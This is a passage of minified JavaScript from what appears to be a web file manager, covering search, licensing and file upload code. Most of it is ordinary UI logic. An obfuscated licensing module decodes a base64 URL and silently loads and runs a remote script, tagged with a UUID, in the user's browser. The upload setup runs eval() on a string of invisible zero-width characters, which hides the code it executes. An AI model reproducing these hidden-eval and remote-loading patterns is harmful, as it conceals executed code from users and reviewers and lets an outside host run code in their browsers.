class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/zipview.html",[],'<div class="zipViewContent menuEmpty">\n <div class="header_title">\n <div class="item name"><span>{{LNG.name}}</span></div>\n <div class="item size"><span>{{LNG.size}}</span></div>\n <div class="item mtime"><span>{{LNG.modify_time}}</span></div>\n <div class="clear"></div>\n </div>\n <div id="{{treeID}}" class="ztree"></div>\n <div class="bottom">\n <span class="info"></span>\n </div>\n</div>'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,'<span class="keyword">'+t+"</span>");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+'<span class="keyword">'+e.substr(i,t.length)+"</span>"+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1 -}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(tpl_search_list);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": <b>"+s+"(in "+o.length+" files)</b>"),e.data.error_info&&i.html("<span>"+LNG.seach_result_too_more+"</span>")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'<img src="'+G.static_path+'images/common/loading.gif">').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'<span class="version_vip" id="','"><i class="font-icon icon-key"></i>',"</span>",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'<div class="version_license"><a class="line" href="','">Buy License</a></div>',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'<i class="x-item-file x-'," small",'"></i>',"iconSmall","iconSrc",'<img src="','" draggable="false" ondragstart="return false;">',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},f=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},u=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:f,systemData:u};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='<div id="'+n+'" class="item">'+'<div class="info"><span class="title" tytle="'+e+'">'+core.pathThis(e)+"</span>"+'<span class="size">0b</span>'+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),f=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%;text-align:right;"></div></div>').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var u,h=function(e){clearTimeout(u),u=!1,u=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,t,i){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,f.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,f.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,t=n+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","100%"),p.text(t),d.find(".size").text(core.fileSize(i.size));else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")"),d.find(".size").text(core.fileSize(i.length))}d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(tpl_upload),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"<textarea style='width:410px;height:260px;'></textarea>",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var 